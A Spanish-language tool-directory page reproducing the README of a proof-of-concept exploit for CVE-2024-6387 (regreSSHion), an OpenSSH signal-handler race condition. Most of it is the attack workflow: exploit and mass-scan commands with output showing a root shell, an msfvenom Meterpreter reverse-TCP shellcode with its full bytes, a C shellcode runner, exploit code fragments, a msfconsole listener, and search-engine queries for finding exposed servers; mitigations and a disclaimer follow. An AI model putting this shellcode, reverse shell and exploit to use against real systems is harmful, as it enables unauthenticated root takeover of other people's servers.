Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-6387 — Prueba de concepto del exploit para CVE-2024-6387 (regreSSHion) dirigido a la ejecución remota de código no autenticada en el servidor OpenSSH mediante una condición de carrera en el manejador de señales. Incluye escaneo, explotación y generación de shell inversa. | Kitploit
Herramientas/GitHubGitHub/prelearn-code/cve-2024-6387
Análisis de VulnerabilidadesExplotaciónShellcodePruebas de PenetraciónComando y ControlHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubprelearn-code/cve-2024-6387

CVE-2024-6387

Prueba de concepto del exploit para CVE-2024-6387 (regreSSHion) dirigido a la ejecución remota de código no autenticada en el servidor OpenSSH mediante una condición de carrera en el manejador de señales. Incluye escaneo, explotación y generación de shell inversa.

Ver Repositorio
23hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Artículo original

openssh CVE-2024-6387 - PoC

📜 Descripción

Nota: Este script es un PoC prototipo rápido; es posible que se produzcan algunos errores y fallos. Probado en: Kali Linux, ParrotSec, Ubuntu 22.04

Vulnerabilidad de ejecución remota de código sin autenticación en el servidor OpenSSH

Se encontró una condición de carrera en el manejador de señales del servidor OpenSSH (sshd), donde, si un cliente no se autentica dentro de los segundos de LoginGraceTime (120 por defecto, 600 en versiones antiguas de OpenSSH), el manejador SIGALRM de sshd se invoca de forma asíncrona. Sin embargo, este manejador de señales llama a varias funciones que no son seguras para señales asíncronas (async-signal-safe), por ejemplo, syslog().

📁 Tabla de contenidos

  • 📖 Detalles
  • ⚙️ Uso
  • 🔍 Descubrimiento de hosts
  • 🛠️ Mitigación
  • 💁 Referencias
  • 📌 Autor
  • 📢 Aviso legal

✍🏻 Detalles

Puedes encontrar los detalles técnicos aquí.

La falla, descubierta por investigadores de Qualys en May 2024 y a la que se le asignó el identificador CVE-2024-6387, se debe a una condición de carrera en el manejador de señales de sshd que permite a atacantes remotos no autenticados ejecutar código arbitrario como root.

"Si un cliente no se autentica dentro de los segundos de LoginGraceTime (120 por defecto), entonces el manejador SIGALRM de sshd es llamado asincrónicamente y llama a varias funciones que no son seguras para señales asíncronas (async-signal-safe),"

"Un atacante remoto no autenticado puede aprovechar esta falla para ejecutar código arbitrario con privilegios de root."

⚙️ Uso

Escaneo del servidor OpenSSH

Requisito: última versión de python3

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

Exportación (csv,txt,json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

Múltiples objetivos

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

Añadir tiempo de espera (timeout)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

Rangos de red

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

Puerto personalizado

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

Proceso de escalada

Obteniendo una reverse shell

root@kitploit:~
# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Payload personalizado

root@kitploit:~
#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Payload real

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

Compilación e iniciación del payload

root@kitploit:~
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

Ejecución del payload

root@kitploit:~
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

Captura del payload

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 Descubrimiento de hosts

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ Mitigación

  • Gestión de parches: Aplicar rápidamente los parches disponibles para OpenSSH es fundamental para cerrar la brecha de vulnerabilidad. Parchear de manera oportuna garantiza que los exploits conocidos no puedan utilizarse contra tus sistemas, reduciendo así la ventana de oportunidad para los atacantes.

  • Control de acceso mejorado: Limitar el acceso SSH mediante controles basados en red añade una capa adicional de defensa. Este enfoque minimiza la exposición a posibles atacantes al restringir las conexiones SSH únicamente a redes o direcciones IP autorizadas. La implementación de herramientas como reglas de firewall o el uso de VPN para un acceso seguro puede hacer cumplir estas restricciones de manera efectiva.

  • Segmentación de red: Dividir tu red en segmentos ayuda a contener el impacto de una posible brecha. Al segmentar los sistemas críticos y los datos sensibles de las partes menos críticas de tu red, reduces el riesgo de movimiento lateral por parte de los atacantes. Esta segmentación puede complementarse con controles de acceso estrictos y monitorización para detectar y responder ante cualquier intento no autorizado de vulnerar estos segmentos.

  • Sistemas de detección de intrusiones (IDS): Implementar IDS o sistemas de prevención de intrusiones (IPS) permite la monitorización en tiempo real del tráfico de red y los registros del sistema. Estos sistemas pueden detectar actividades sospechosas y posibles intentos de explotación asociados con la vulnerabilidad regreSSHion. Las alertas generadas por estos sistemas permiten una investigación y mitigación rápidas antes de que pueda producirse un daño significativo.

  • Monitorización de intentos de explotación: La monitorización continua de los registros de red y del sistema es crucial. Busca patrones o actividades inusuales que puedan indicar un intento de explotar la vulnerabilidad de OpenSSH. Este enfoque proactivo ayuda a identificar y responder a las amenazas antes de que puedan causar daño.

💁 Referencias

  • Autor original: Escáner CVE-2024-6387
  • Autor original: CVE-2024-6387 PoC

Más referencias

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/

📌 Autor

  • Facebook
  • Twitter (X)
  • Medium
  • Sitio web

📢 Aviso legal

  • Nota importante:
    • Esta herramienta se ha desarrollado y se utiliza únicamente para pruebas de penetración autorizadas y ejercicios de red team. Está diseñada para identificar y explotar vulnerabilidades en el servidor OpenSSH en sistemas Linux basados en glibc. El uso no autorizado de esta herramienta está estrictamente prohibido. El propietario de esta herramienta no se hace responsable de ningún acceso no autorizado ni del uso malintencionado de la misma.
  • Aviso legal:
    • El uso no autorizado de esta herramienta en sistemas o redes sin la autorización explícita de sus respectivos propietarios puede violar las leyes y regulaciones aplicables. Los usuarios son responsables de garantizar el cumplimiento de los estándares legales y éticos que rigen las pruebas y evaluaciones de ciberseguridad.
Descargar herramienta